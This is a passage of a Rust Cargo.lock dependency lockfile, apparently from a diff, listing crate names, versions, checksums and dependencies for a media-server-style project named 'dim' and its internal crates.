"37b2a672a2cb129a2e41c10b1224bb368f9f37a2b16b612598138befd7b37eb5" + +[[package]] +name = "catty" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dcf0adb3cc1c06945672f8dcc827e42497ac6d0aff49f459ec918132b82a5cbc" +dependencies = [ + "spin 0.9.8", +] + +[[package]] +name = "cc" +version = "1.0.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +dependencies = [ + "jobserver", + "libc", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chrono" +version = "0.4.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "js-sys", + "num-traits", + "serde", + "wasm-bindgen", + "windows-targets 0.48.5", +] + +[[package]] +name = "cipher" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ee52072ec15386f770805afd189a01c8841be8696bed250fa2f13c4c0d6dfb7" +dependencies = [ + "generic-array", +] + +[[package]] +name = "clap" +version = "2.34.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0610544180c38b88101fecf2dd634b174a62eef6946f84dfc6a7127512b381c" +dependencies = [ + "bitflags 1.3.2", + "textwrap", + "unicode-width", +] + +[[package]] +name = "clap" +version = "4.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac495e00dcec98c83465d5ad66c5c4fabd652fd6686e7c6269b117e729a6f17b" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c77ed9a32a62e6ca27175d00d29d05ca32e396ea1eb5fb01d8256b669cec7663" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "clap_lex" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" + +[[package]] +name = "color_quant" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d7b894f5411737b7867f4827955924d7c254fc9f4d91a6aad6b097804b1018b" + +[[package]] +name = "colorchoice" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" + +[[package]] +name = "concurrent-queue" +version = "1.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af4780a44ab5696ea9e28294517f1fffb421a83a25af521333c838635509db9c" +dependencies = [ + "cache-padded", +] + +[[package]] +name = "cookie" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3cd91cf61412820176e137621345ee43b3f4423e589e7ae4e50d601d93e35ef8" +dependencies = [ + "percent-encoding", + "time 0.3.30", + "version_check", +] + +[[package]] +name = "core-foundation" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa" + +[[package]] +name = "cpufeatures" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce420fe07aecd3e67c5f910618fe65e94158f6dcc0adf44e00d69ce2bdfe0fd0" +dependencies = [ + "libc", +] + +[[package]] +name = "crc" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49fc9a695bca7f35f5f4c15cddc84415f66a74ea78eef08e90c5024f2b540e23" +dependencies = [ + "crc-catalog", +] + +[[package]] +name = "crc-catalog" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccaeedb56da03b09f598226e25e80088cb4cd25f316e6e4df7d695f0feeb1403" + +[[package]] +name = "crc32fast" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "criterion" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b01d6de93b2b6c65e17c634a26653a29d107b3c98c607c765bf38d041531cd8f" +dependencies = [ + "atty", + "cast", + "clap 2.34.0", + "criterion-plot", + "csv", + "futures", + "itertools", + "lazy_static", + "num-traits", + "oorandom", + "plotters", + "rayon", + "regex", + "serde", + "serde_cbor", + "serde_derive", + "serde_json", + "tinytemplate", + "tokio", + "walkdir", +] + +[[package]] +name = "criterion-plot" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2673cc8207403546f45f5fd319a974b1e6983ad1a3ee7e6041650013be041876" +dependencies = [ + "cast", + "itertools", +] + +[[package]] +name = "crossbeam-channel" +version = "0.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200" +dependencies = [ + "cfg-if", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-deque" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef" +dependencies = [ + "cfg-if", + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae211234986c545741a7dc064309f67ee1e5ad243d0e48335adc0484d960bcc7" +dependencies = [ + "autocfg", + "cfg-if", + "crossbeam-utils", + "memoffset 0.9.0", + "scopeguard", +] + +[[package]] +name = "crossbeam-queue" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1cfb3ea8a53f37c40dea2c7bedcbd88bdfae54f5e2175d6ecaff1c988353add" +dependencies = [ + "cfg-if", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crunchy" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "csv" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac574ff4d437a7b5ad237ef331c17ccca63c46479e5b5453eb8e10bb99a759fe" +dependencies = [ + "csv-core", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "csv-core" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5efa2b3d7902f4b634a20cae3c9c4e6209dc4779feb6863329607560143efa70" +dependencies = [ + "memchr", +] + +[[package]] +name = "ctr" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "049bb91fb4aaf0e3c7efa6cd5ef877dbbbd15b39dad06d9948de4ec8a75761ea" +dependencies = [ + "cipher", +] + +[[package]] +name = "darwin-libproc" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fb90051930c9a0f09e585762152048e23ac74d20c10590ef7cf01c0343c3046" +dependencies = [ + "darwin-libproc-sys", + "libc", + "memchr", +] + +[[package]] +name = "darwin-libproc-sys" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57cebb5bde66eecdd30ddc4b9cd208238b15db4982ccc72db59d699ea10867c1" +dependencies = [ + "libc", +] + +[[package]] +name = "dashmap" +version = "5.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856" +dependencies = [ + "cfg-if", + "hashbrown 0.14.2", + "lock_api", + "once_cell", + "parking_lot_core 0.9.9", +] + +[[package]] +name = "data-encoding" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2e66c9d817f1720209181c316d28635c050fa304f9c79e47a520882661b7308" + +[[package]] +name = "deranged" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f32d04922c60427da6f9fef14d042d9edddef64cb9d4ce0d64d0685fbeb1fd3" +dependencies = [ + "powerfmt", +] + +[[package]] +name = "dia-i18n" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "292babb903a8ffc5e23d17085137a0f33c00a07dfbc6117619c7e6dc7f4111ae" + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "dim" +version = "0.1.0" +dependencies = [ + "clap 4.4.7", + "dim-auth", + "dim-core", + "dim-database", + "dim-events", + "dim-extern-api", + "dim-utils", + "dim-web", + "fdlimit", + "nightfall", + "tokio", + "tracing", + "xtra", +] + +[[package]] +name = "dim-auth" +version = "0.4.0-dev" +dependencies = [ + "aes-gcm", + "base64 0.13.1", + "displaydoc", + "once_cell", + "rand", + "serde", + "thiserror", +] + +[[package]] +name = "dim-core" +version = "0.4.0-dev" +dependencies = [ + "async-trait", + "axum 0.6.20", + "cfg-if", + "chrono", + "criterion", + "dia-i18n", + "dim-auth", + "dim-database", + "dim-events", + "dim-extern-api", + "dim-utils", + "displaydoc", + "futures", + "fuzzy-matcher", + "http 0.2.9", + "hyper", + "ignore", + "image", + "itertools", + "lazy_static", + "libsqlite3-sys", + "nightfall", + "nix 0.23.2", + "notify", + "once_cell", + "parking_lot 0.12.1", + "percent-encoding", + "rand", + "reqwest", + "rusqlite", + "rust-embed", + "serde", + "serde_derive", + "serde_json", + "serial_test", + "sqlx", + "tempfile", + "thiserror", + "tokio", + "tokio-stream", + "tokio-tungstenite", + "toml", + "tracing", + "tracing-appender", + "tracing-subscriber", + "url", + "uuid 1.5.0", + "xmlwriter", + "xtra", + "zip", +] + +[[package]] +name = "dim-database" +version = "0.4.0-dev" +dependencies = [ + "base64 0.13.1", + "cfg-if", + "dim-auth", + "displaydoc", + "itertools", + "lazy_static", + "once_cell", + "ring 0.16.20", + "serde", + "serde_derive", + "serde_json", + "sqlx", + "thiserror", + "tokio", + "tracing", + "uuid 0.8.2", +] + +[[package]] +name = "dim-events" +version = "0.4.0-dev" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] +name = "dim-extern-api" +version = "0.4.0-dev" +dependencies = [ + "anitomy", + "async-trait", + "chrono", + "dashmap", + "displaydoc", + "governor", + "rand", + "reqwest", + "retry-block", + "serde", + "serde_json", + "thiserror", + "tokio", + "torrent-name-parser", + "tracing", +] + +[[package]] +name = "dim-utils" +version = "0.1.0" +dependencies = [ + "dia-i18n", +] + +[[package]] +name = "dim-web" +version = "0.1.0" +dependencies = [ + "axum 0.6.20", + "axum-extra", + "cfg-if", + "chrono", + "dim-core", + "dim-database", + "dim-events", + "dim-extern-api", + "dim-utils", + "displaydoc", + "dominant_color", + "futures", + "fuzzy-matcher", + "http 0.2.9", + "hyper", + "image", + "nightfall", + "once_cell", + "percent-encoding", + "rust-embed", + "serde", + "serde_derive", + "serde_json", + "sqlx", + "thiserror", + "tokio", + "tokio-stream", + "tower", + "tower-http", + "tracing", + "tracing-appender", + "tracing-subscriber", + "uuid 1.5.0", +] + +[[package]] +name = "displaydoc" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "487585f4d0c6655fe74905e2504d8ad6908e4db67f744eb140876906c2f3175d" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "dominant_color" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2494b5d589b485e8b75ef5e81b4dc271fb0d5814132c308d5d11f0de9b300d96" + +[[package]] +name = "dotenv" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77c90badedccf4105eca100756a0b1289e191f6fcbdadd3cee1d2f614f97da8f" + +[[package]] +name = "either" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" + +[[package]] +name = "encoding_rs" +version = "0.8.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "err-derive" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c34a887c8df3ed90498c1c437ce21f211c8e27672921a8ffa293cb8d6d4caa9e" +dependencies = [ + "proc-macro-error", + "proc-macro2", + "quote", + "rustversion", + "syn 1.0.109", + "synstructure", +] + +[[package]] +name = "errno" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c18ee0ed65a5f1f81cac6b1d213b69c35fa47d4252ad41f1486dbd8226fe36e" +dependencies = [ + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "event-listener" +version = "2.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" + +[[package]] +name = "exr" +version = "1.71.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "832a761f35ab3e6664babfbdc6cef35a4860e816ec3916dcfd0882954e98a8a8" +dependencies = [ + "bit_field", + "flume 0.11.0", + "half 2.2.1", + "lebe", + "miniz_oxide", + "rayon-core", + "smallvec", + "zune-inflate", +] + +[[package]] +name = "fallible-iterator" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4443176a9f2c162692bd3d352d745ef9413eec5782a80d8fd6f8a1ac692a07f7" + +[[package]] +name = "fallible-streaming-iterator" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7360491ce676a36bf9bb3c56c1aa791658183a54d2744120f27285738d90465a" + +[[package]] +name = "fastrand" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" + +[[package]] +name = "fdeflate" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64d6dafc854908ff5da46ff3f8f473c6984119a2876a383a860246dd7841a868" +dependencies = [ + "simd-adler32", +] + +[[package]] +name = "fdlimit" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c4c9e43643f5a3be4ca5b67d26b98031ff9db6806c3440ae32e02e3ceac3f1b" +dependencies = [ + "libc", +] + +[[package]] +name = "filetime" +version = "0.2.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4029edd3e734da6fe05b6cd7bd2960760a616bd2ddd0d59a0124746d6272af0" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall 0.3.5", + "windows-sys 0.48.0", +] + +[[package]] +name = "finl_unicode" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fcfdc7a0362c9f4444381a9e697c79d435fe65b52a37466fc2c1184cee9edc6" + +[[package]] +name = "flate2" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" +dependencies = [ + "crc32fast", + "miniz_oxide", +] + +[[package]] +name = "flume" +version = "0.10.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1657b4441c3403d9f7b3409e47575237dac27b1b5726df654a6ecbf92f0f7577" +dependencies = [ + "futures-core", + "futures-sink", + "pin-project", + "spin 0.9.8", +] + +[[package]] +name = "flume" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55ac459de2512911e4b674ce33cf20befaba382d05b62b008afc1c8b57cbf181" +dependencies = [ + "spin 0.9.8", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "form_urlencoded" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a62bc1cf6f830c2ec14a513a9fb124d0a213a629668a4186f329db21fe045652" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "fsevent-sys" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76ee7a02da4d231650c7cea31349b889be2f45ddb3ef3032d2ec8185f6313fd2" +dependencies = [ + "libc", +] + +[[package]] +name = "futures" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da0290714b38af9b4a7b094b8a37086d1b4e61f2df9122c3cad2577669145335" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff4dd66668b557604244583e3e1e1eada8c5c2e96a6d0d6653ede395b78bbacb" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb1d22c66e66d9d72e1758f0bd7d4fd0bee04cad842ee34587d68c07e45d088c" + +[[package]] +name = "futures-executor" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f4fb8693db0cf099eadcca0efe2a5a22e4550f98ed16aba6c48700da29597bc" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-intrusive" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a604f7a68fbf8103337523b1fadc8ade7361ee3f112f7c680ad179651616aed5" +dependencies = [ + "futures-core", + "lock_api", + "parking_lot 0.11.2", +] + +[[package]] +name = "futures-io" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8bf34a163b5c4c52d0478a4d757da8fb65cabef42ba90515efee0f6f9fa45aaa" + +[[package]] +name = "futures-macro" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53b153fd91e4b0147f4aced87be237c98248656bb01050b96bf3ee89220a8ddb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "futures-sink" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e36d3378ee38c2a36ad710c5d30c2911d752cb941c00c72dbabfb786a7970817" + +[[package]] +name = "futures-task" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "efd193069b0ddadc69c46389b740bbccdd97203899b48d09c5f7969591d6bae2" + +[[package]] +name = "futures-timer" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e64b03909df88034c26dc1547e8970b91f98bdb65165d6a4e9110d94263dbb2c" + +[[package]] +name = "futures-util" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a19526d624e703a3179b3d322efec918b6246ea0fa51d41124525f00f1cc8104" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "fuzzy-matcher" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "54614a3312934d066701a80f20f15fa3b56d67ac7722b39eea5b4c9dd1d66c94" +dependencies = [ + "thread_local", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", +] + +[[package]] +name = "ghash" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1583cc1656d7839fd3732b80cf4f38850336cdb9b8ded1cd399ca62958de3c99" +dependencies = [ + "opaque-debug", + "polyval", +] + +[[package]] +name = "gif" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80792593675e051cf94a4b111980da2ba60d4a83e43e0048c5693baab3977045" +dependencies = [ + "color_quant", + "weezl", +] + +[[package]] +name = "gimli" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fb8d784f27acf97159b40fc4db5ecd8aa23b9ad5ef69cdd136d3bc80665f0c0" + +[[package]] +name = "globset" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "759c97c1e17c55525b57192c06a267cda0ac5210b222d6b82189a2338fa1c13d" +dependencies = [ + "aho-corasick", + "bstr", + "fnv", + "log", + "regex", +] + +[[package]] +name = "governor" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c390a940a5d157878dd057c78680a33ce3415bcd05b4799509ea44210914b4d5" +dependencies = [ + "cfg-if", + "dashmap", + "futures", + "futures-timer", + "no-std-compat", + "nonzero_ext", + "parking_lot 0.12.1", + "quanta", + "rand", + "smallvec", +] + +[[package]] +name = "h2" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91fc23aa11be92976ef4729127f1a74adf36d8436f7816b185d18df956790833" +dependencies = [ + "bytes 1.5.0", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http 0.2.9", + "indexmap", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "half" +version = "1.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eabb4a44450da02c90444cf74558da904edde8fb4e9035a9a6a4e15445af0bd7" + +[[package]] +name = "half" +version = "2.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02b4af3693f1b705df946e9fe5631932443781d0aabb423b62fcd4d73f6d2fd0" +dependencies = [ + "crunchy", +] + +[[package]] +name = "hashbrown" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" +dependencies = [ + "ahash", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] +name = "hashbrown" +version = "0.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f93e7192158dbcda357bdec5fb5788eebf8bbac027f3f33e719d29135ae84156" + +[[package]] +name = "hashlink" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7249a3129cbc1ffccd74857f81464a323a152173cdb134e0fd81bc803b29facf" +dependencies = [ + "hashbrown 0.11.2", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "hermit-abi" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" +dependencies = [ + "libc", +] + +[[package]] +name = "hermit-abi" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "http" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd6effc99afb63425aff9b05836f029929e345a6148a14b7ecd5ab67af944482" +dependencies = [ + "bytes 1.5.0", + "fnv", + "itoa", +] + +[[package]] +name = "http" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b32afd38673a8016f7c9ae69e5af41a58f81b1d31689040f2f1959594ce194ea" +dependencies = [ + "bytes 1.5.0", + "fnv", + "itoa", +] + +[[package]] +name = "http-body" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" +dependencies = [ + "bytes 1.5.0", + "http 0.2.9", + "pin-project-lite", +] + +[[package]] +name = "http-body" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cac85db508abc24a2e48553ba12a996e87244a0395ce011e62b37158745d643" +dependencies = [ + "bytes 1.5.0", + "http 1.0.0", +] + +[[package]] +name = "http-body-util" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41cb79eb393015dadd30fc252023adb0b2400a0caee0fa2a077e6e21a551e840" +dependencies = [ + "bytes 1.5.0", + "futures-util", + "http 1.0.0", + "http-body 1.0.0", + "pin-project-lite", +] + +[[package]] +name = "http-range-header" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "add0ab9360ddbd88cfeb3bd9574a1d85cfdfa14db10b3e21d3700dbc4328758f" + +[[package]] +name = "httparse" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "hyper" +version = "0.14.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffb1cfd654a8219eaef89881fdb3bb3b1cdc5fa75ded05d6933b2b382e395468" +dependencies = [ + "bytes 1.5.0", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http 0.2.9", + "http-body 0.4.5", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2 0.4.10", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.24.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590" +dependencies = [ + "futures-util", + "http 0.2.9", + "hyper", + "rustls 0.21.8", + "tokio", + "tokio-rustls 0.24.1", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.58" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "idna" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d20d6b07bfbc108882d88ed8e37d39636dcc260e15e30c45e6ba089610b917c" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "ignore" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbe7873dab538a9a44ad79ede1faf5f30d49f9a5c883ddbab48bce81b64b7492" +dependencies = [ + "globset", + "lazy_static", + "log", + "memchr", + "regex", + "same-file", + "thread_local", + "walkdir", + "winapi-util", +] + +[[package]] +name = "image" +version = "0.24.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f3dfdbdd72063086ff443e297b61695500514b1e41095b6fb9a5ab48a70a711" +dependencies = [ + "bytemuck", + "byteorder", + "color_quant", + "exr", + "gif", + "jpeg-decoder", + "num-rational", + "num-traits", + "png", + "qoi", + "tiff", +] + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 